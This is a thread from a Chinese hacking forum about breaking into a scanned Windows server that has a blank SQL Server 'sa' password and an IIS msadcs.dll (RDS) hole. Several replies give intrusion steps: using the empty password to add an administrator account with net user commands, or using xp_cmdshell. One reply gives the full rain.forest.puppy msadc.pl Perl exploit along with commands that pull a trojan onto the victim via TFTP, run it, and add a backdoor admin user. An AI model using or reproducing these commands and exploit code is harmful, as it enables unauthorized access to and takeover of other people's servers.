|
作者: sxh [sxh] 论坛用户 | 登录 |
端口80开放: HTTP, World Wide Web 端口21开放: FTP (Control) 端口139开放: NETBIOS Session Service 端口1433开放: Microsoft-SQL-Server 端口135开放: Location Service 发现 SQL-Server弱口令: sa/[空口令] 发现 CGI漏洞: /?PageServices 发现 CGI漏洞: /cgi-bin/htimage.exe 发现 CGI漏洞: /default.asp 发现 CGI漏洞: /cgi-bin/imagemap.exe 发现 CGI漏洞: /msadc/msadcs.dll 发现 CGI漏洞: /secret/secret/change-passwd.shtml 发现 CGI漏洞: /secret/secret/sql_tool.shtml |
地主 发表时间: 07/01 00:30 |
回复: tmxk [tmxk] 论坛用户 | 登录 |
你随便找个黑客网站,找篇sql弱口令的文章读一下,这个东西已经相当成熟了,基本哪个站都有几篇。 |
B1层 发表时间: 07/01 08:04 |
回复: mojianfei [mojianfei] 论坛用户 | 登录 |
sa密码为空的话,用流光连上,然后用命令:net user user passwd /add和net localgroup administrators user /add就可以进入了,也可以用SQL来连上,然后利用系统存储过程帮它加上用户也可以进入......... |
B2层 发表时间: 08/07 15:53 |
回复: qiaojie [qiaojie] 论坛用户 | 登录 |
我也是烦CGL漏洞~!~!能找点有关这个漏洞的么?谢谢了~!~! |
B3层 发表时间: 08/08 06:17 |
回复: ma2751_cn [ma2751_cn] | 登录 |
端口80开放: HTTP, World Wide Web(查看一下IIS漏洞) 端口21开放: FTP (Control)(看看有没有匿名登陆) 端口139开放: NETBIOS Session Service(呵呵,共享入侵) 端口1433开放: Microsoft-SQL-Server(看看有没有默认的空口令,扫描结果发现了,就用这个) |
B4层 发表时间: 08/09 21:27 |
回复: nightcolor [nightcolor] 版主 | 登录 |
/?PageServices ? 还有这个漏洞存在吗? 昏 基本上我发现了很多 可惜没一个可以用的 |
B5层 发表时间: 08/10 13:49 |
回复: binki [binki] 论坛用户 | 登录 |
/msadc/msadcs.dll 可以利用 |
B6层 发表时间: 08/10 17:48 |
回复: binki [binki] 论坛用户 | 登录 |
NT4.0下的msadcs.dll漏洞的利用 (阅览 3990 次) 一、用twwwscan 目标IP 80 发现有: RDS Securty Hole(msadcs.dll) /msadc/msadcs.dll important patch CVE-1999-1011 solution:MS99-025.asp 二、目标开了WEB服务,IIS有漏洞msadcs.dll漏洞,这个漏洞可以用TWWWSCAN扫描 到,为了确认这个漏洞,你可以在浏览器的网址栏里输入这个文件的具体路径来确认 IE将显示application/x_varg,说明这个漏洞存在,然后在PERL下,进行攻击 1、C:\Perl\BIN>perl -x msadcs.txt -h 目标机xxx.xxx.xxx.xxx Please type the NT commandline you want to run (cmd /c assumed):\n cmd /c 一般这里我用TFTP上传我的木马文件,但首先你得先设置好你的TFTP主机 tftp -i 127.0.0.1 get ntsrv.exe c:\winnt\system32\ntsrv.exe 这里127.0.0.1 是我的TFTP主机,TFTP目录下有NTSRV。EXE木马 如果程序执行成功,TFTP会显示文件传输的进度,然后再执行PERL,将木马激活 ,你再用木马连上对方的机器,搞定 2、C:\Perl\BIN>perl -x msadcs.txt -h 目标机 cmd /c net user pt007 /add 3、C:\Perl\BIN>perl -x msadcs.txt -h 目标机 cmd /c net user pt007 ptlove 4、C:\Perl\BIN>perl -x msadcs.txt -h 目标机 cmd /c net localgroup administrators pt007 /add 5、C:\Perl\BIN>perl -x msadcs.txt -h 目标机 cmd /c c:\winnt\system32>ncx99.exe (加用户pt007和运行木马) 三、msadcs.txt文件。 #将下面这段保存为txt文件,然后: "perl -x 文件名" #!perl # # MSADC/RDS 'usage' (aka exploit) script # # by rain.forest.puppy # # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me # beta test and find errors! use Socket; use Getopt::Std; getopts("e:vd:h:XR", \%args); print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; if (!defined $args{h}&& !defined $args{R}){ print qq~ Usage: msadc.pl -h <host>{ -d <delay> -X -v } -h <host> = host you want to scan (ip or domain) -d <seconds> = delay between calls, default 1 second -X = dump Index Server path table, if available -v = verbose -e = external dictionary file for step 5 Or a -R will resume a command session ~; exit;} $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; if (defined $args{v}){ $verbose=1; }else{$verbose=0;} if (defined $args{d}){ $delay=$args{d};}else{$delay=1;} if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} if (defined $args{X}&& !defined $args{R}){ &hork_idx; exit; } if (!defined $args{R}){ $ret = &has_msadc; die("Looks like msadcs.dll doesn't exist\n")if $ret==0} print "Please type the NT commandline you want to run (cmd /c assumed):\n" . "cmd /c "; $in=<STDIN>; chomp $in; $command="cmd /c " . $in ; if (defined $args{R}){&load; exit;} print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; &try_btcustmr; print "\nStep 2: Trying to make our own DSN..."; &make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; print "\nStep 3: Trying known DSNs..."; &known_dsn; print "\nStep 4: Trying known .mdbs..."; &known_mdb; if (defined $args{e}){ print "\nStep 5: Trying dictionary of DSN names..."; &dsn_dict; }else{ "\nNo -e; Step 5 skipped.\n\n"; } print "Sorry Charley...maybe next time?\n"; exit; ############################################################################## sub sendraw{ # ripped and modded from whisker sleep($delay); # it's a DoS on the server! At least on mine... my ($pstr)=@_; socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || die("Socket problems\n"); if(connect(S,pack "SnA4x8",2,80,$target)){ select(S); $|=1; print $pstr; my @in=<S>; select(STDOUT); close(S); return @in; }else{ die("Can't connect...\n"); }} ############################################################################## sub make_header{ # make the HTTP request my $msadc=<<EOT POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 User-Agent: ACTIVEDATA Host: $ip Content-Length: $clen Connection: Keep-Alive ADCClientVersion:01.06 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 --!ADM!ROX!YOUR!WORLD! Content-Type: application/x-varg Content-Length: $reqlen EOT ; $msadc=~s/\n/\r\n/g; return $msadc;} ############################################################################## sub make_req{ # make the RDS request my ($switch, $p1, $p2)=@_; my $req=""; my $t1, $t2, $query, $dsn; if ($switch==1){ # this is the btcustmr.mdb query $query="Select * from Customers where City=" . make_shell(); $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} elsif ($switch==2){ # this is general make table query $query="create table AZZ (B int, C varchar(10))"; $dsn="$p1";} elsif ($switch==3){ # this is general exploit table query $query="select * from AZZ where C=" . make_shell(); $dsn="$p1";} elsif ($switch==4){ # attempt to hork file info from index server $query="select path from scope()"; $dsn="Provider=MSIDXS;";} elsif ($switch==5){ # bad query $query="select"; $dsn="$p1";} $t1= make_unicode($query); $t2= make_unicode($dsn); $req = "\x02\x00\x03\x00"; $req.= "\x08\x00" . pack ("S1", length($t1)); $req.= "\x00\x00" . $t1 ; $req.= "\x08\x00" . pack ("S1", length($t2)); $req.= "\x00\x00" . $t2 ; $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; return $req;} ############################################################################## sub make_shell{ # this makes the shell() statement return "'|shell(\"$command\")|'";} ############################################################################## sub make_unicode{ # quick little function to convert to unicode my ($in)=@_; my $out; for ($c=0; $c < length($in); $c++){ $out.=substr($in,$c,1) . "\x00"; } return $out;} ############################################################################## sub rdo_success{ # checks for RDO return success (this is kludge) my (@in) = @_; my $base=content_start(@in); if($in[$base]=~/multipart\/mixed/){ return 1 if( $in[$base+10]=~/^\x09\x00/ );} return 0;} ############################################################################## sub make_dsn{ # this makes a DSN for us my @drives=("c","d","e","f"); print "\nMaking DSN: "; foreach $drive (@drives){ print "$drive: "; my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; return 0 if $2 eq "404"; # not found/doesn't exist if($2 eq "200"){ foreach $line (@results){ return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} }return 0;} ############################################################################## sub verify_exists{ my ($page)=@_; my @results=sendraw("GET $page HTTP/1.0\n\n"); return $results[0];} ############################################################################## sub try_btcustmr{ my @drives=("c","d","e","f"); my @dirs=("winnt","winnt35","winnt351","win","windows"); foreach $dir (@dirs){ print "$dir -> "; # fun status so you can see progress foreach $drive (@drives){ print "$drive: "; # ditto $reqlen=length( make_req(1,$drive,$dir) ) - 28; $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; my @results=sendraw(make_header() . make_req(1,$drive,$dir)); if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} else{ verbose(odbc_error(@results)); funky(@results);}}print "\n";}} ############################################################################## sub odbc_error{ my (@in)=@_; my $base; my $base = content_start(@in); if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; return $in[$base+4].$in[$base+5].$in[$base+6];} print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} ############################################################################## sub verbose{ my ($in)=@_; return if !$verbose; print STDOUT "\n$in\n";} ############################################################################## sub save{ my ($p1, $p2, $p3, $p4)=@_; open(OUT, ">rds.save") || print "Problem saving parameters...\n"; print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; close OUT;} ############################################################################## sub load{ my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; open(IN,"<rds.save") || die("Couldn't open rds.save\n"); @p=<IN>; close(IN); $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); $target= inet_aton($ip) || die("inet_aton problems"); print "Resuming to $ip ..."; $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; if($p[1]==1){ $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); if (rdo_success(@results)){print "Success!\n";} else{ print "failed\n"; verbose(odbc_error(@results));}} elsif ($p[1]==3){ if(run_query("$p[3]")){ print "Success!\n";}else{ print "failed\n"; }} elsif ($p[1]==4){ if(run_query($drvst . "$p[3]")){ print "Success!\n"; }else{ print "failed\n"; }} exit;} ############################################################################## sub create_table{ my ($in)=@_; $reqlen=length( make_req(2,$in,"") ) - 28; $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; my @results=sendraw(make_header() . make_req(2,$in,"")); return 1 if rdo_success(@results); my $temp= odbc_error(@results); verbose($temp); return 1 if $temp=~/Table 'AZZ' already exists/; return 0;} ############################################################################## sub known_dsn{ # we want 'wicca' first, because if step 2 made the DSN, it's ready to go my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", "banner", "banners", "ads", "ADCDemo", "ADCTest"); foreach $dSn (@dsns){ print "."; next if (!is_access("DSN=$dSn")); if(create_table("DSN=$dSn")){ print "$dSn successful\n"; if(run_query("DSN=$dSn")){ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; }else{ print "Something's borked. Use verbose next time\n";}}}print "\n";} ############################################################################## sub is_access{ my ($in)=@_; $reqlen=length( make_req(5,$in,"") ) - 28; $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; my @results=sendraw(make_header() . make_req(5,$in,"")); my $temp= odbc_error(@results); verbose($temp); return 1 if ($temp=~/Microsoft Access/); return 0;} ############################################################################## sub run_query{ my ($in)=@_; $reqlen=length( make_req(3,$in,"") ) - 28; $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; my @results=sendraw(make_header() . make_req(3,$in,"")); return 1 if rdo_success(@results); my $temp= odbc_error(@results); verbose($temp); return 0;} ############################################################################## sub known_mdb{ my @drives=("c","d","e","f","g"); my @dirs=("winnt","winnt35","winnt351","win","windows"); my $dir, $drive, $mdb; my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; # this is sparse, because I don't know of many my @sysmdbs=( "\\catroot\\icatalog.mdb", "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", "\\system32\\certmdb.mdb", "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", "\\cfusion\\cfapps\\forums\\forums_.mdb", "\\cfusion\\cfapps\\forums\\data\\forums.mdb", "\\cfusion\\cfapps\\security\\realm_.mdb", "\\cfusion\\cfapps\\security\\data\\realm.mdb", "\\cfusion\\database\\cfexamples.mdb", "\\cfusion\\database\\cfsnippets.mdb", "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", "\\cfusion\\brighttiger\\database\\cleam.mdb", "\\cfusion\\database\\smpolicy.mdb", "\\cfusion\\database\cypress.mdb", "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", "\\website\\cgi-win\\dbsample.mdb", "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" ); #these are just foreach $drive (@drives){ foreach $dir (@dirs){ foreach $mdb (@sysmdbs){ print "."; if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; }else{ print "Something's borked. Use verbose next time\n"; }}}}} foreach $drive (@drives){ foreach $mdb (@mdbs){ print "."; if(create_table($drv . $drive . $dir . $mdb)){ print "\n" . $drive . $dir . $mdb . " successful\n"; if(run_query($drv . $drive . $dir . $mdb)){ print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; }else{ print "Something's borked. Use verbose next time\n"; }}}} } ############################################################################## sub hork_idx{ print "\nAttempting to dump Index Server tables...\n"; print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; $reqlen=length( make_req(4,"","") ) - 28; $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; my @results=sendraw2(make_header() . make_req(4,"","")); if (rdo_success(@results)){ my $max=@results; my $c; my %d; for($c=19; $c<$max; $c++){ $results[$c]=~s/\x00//g; $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; $d{"$1$2"}="";} foreach $c (keys %d){ print "$c\n"; } }else{print "Index server doesn't seem to be installed.\n"; }} ############################################################################## sub dsn_dict{ open(IN, "<$args{e}") || die("Can't open external dictionary\n"); while(<IN> ){ $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; next if (!is_access("DSN=$dSn")); if(create_table("DSN=$dSn")){ print "$dSn successful\n"; if(run_query("DSN=$dSn")){ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; }else{ print "Something's borked. Use verbose next time\n";}}} print "\n"; close(IN);} ############################################################################## sub sendraw2{ # ripped and modded from whisker sleep($delay); # it's a DoS on the server! At least on mine... my ($pstr)=@_; socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || die("Socket problems\n"); if(connect(S,pack "SnA4x8",2,80,$target)){ print "Connected. Getting data"; open(OUT,">raw.out"); my @in; select(S); $|=1; print $pstr; while(<S> ){ print OUT $_; push @in, $_; print STDOUT ".";} close(OUT); select(STDOUT); close(S); return @in; }else{ die("Can't connect...\n"); }} ############################################################################## sub content_start{ # this will take in the server headers my (@in)=@_; my $c; for ($c=1;$c<500;$c++){ if($in[$c] =~/^\ |
B7层 发表时间: 08/10 17:50 |
回复: Vxrong [vishx] 论坛用户 | 登录 |
去xfocus |
B8层 发表时间: 12/15 18:15 |
回复: ypy [ypy] 见习版主 | 登录 |
SQL-Server弱口令: sa/[空口令] 得到xp_cmdshell |
B9层 发表时间: 12/15 18:42 |
回复: olo [olo] 论坛用户 | 登录 |
有sa若口令,有xway吗?里面有个sql连接工具,用它吧!配合net命令建一个有system权限的用户! |
B10层 发表时间: 12/15 20:39 |
回复: olo [olo] 论坛用户 | 登录 |
有sa若口令,有xway吗?里面有个sql连接工具,用它吧!配合net命令建一个有system权限的用户! |
B11层 发表时间: 12/15 20:40 |
回复: pflj [pflj] | 登录 |
靠,有sql-server空密码你都不会用,去红客联盟找sql2试试! |
B12层 发表时间: 12/16 22:01 |
回复: huixincao [huixincao] 论坛用户 | 登录 |
我怎么碰不上这样的机子 |
B13层 发表时间: 12/18 02:20 |
回复: tendo [tendo] 论坛用户 | 登录 |
你用哪个扫描工具???????? 在哪里下载的 |
B14层 发表时间: 12/19 12:52 |
回复: ypy [ypy] 见习版主 | 登录 |
x-scan? |
B15层 发表时间: 12/19 12:59 |
回复: zlavender [zlavender] 论坛用户 | 登录 |
不知道~~~在哪下载啊? |
B16层 发表时间: 12/19 21:06 |
回复: ypy [ypy] 见习版主 | 登录 |
安全焦点 |
B17层 发表时间: 12/19 22:04 |
回复: Vxrong [vishx] 论坛用户 | 登录 |
进不去 |
B18层 发表时间: 12/20 16:37 |
回复: ypy [ypy] 见习版主 | 登录 |
能进的吧 你再试试 |
B19层 发表时间: 12/20 16:49 |
回复: Vxrong [vishx] 论坛用户 | 登录 |
进去了,怎么xfocus老是这样? |
B20层 发表时间: 12/21 09:00 |
回复: Vxrong [vishx] 论坛用户 | 登录 |
进去了,怎么xfocus老是这样? |
B21层 发表时间: 12/21 09:01 |
回复: ypy [ypy] 见习版主 | 登录 |
这段时间确实一直不稳定 |
B22层 发表时间: 12/21 10:31 |
回复: eots [eots] 论坛用户 | 登录 |
发现 SQL-Server弱口令: sa/[空口令] 这个可利用的呀 |
B23层 发表时间: 07-06-26 15:37 |
|
20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon
粤ICP备05087286号